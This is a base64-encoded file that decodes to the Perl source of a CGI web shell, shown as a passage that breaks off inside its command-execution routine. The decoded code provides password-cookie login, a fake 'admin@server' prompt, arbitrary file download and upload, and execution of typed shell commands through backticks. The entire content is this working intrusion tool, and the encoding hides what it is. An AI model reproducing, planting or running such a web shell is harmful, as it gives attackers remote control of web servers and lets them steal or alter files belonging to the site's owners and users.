LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbH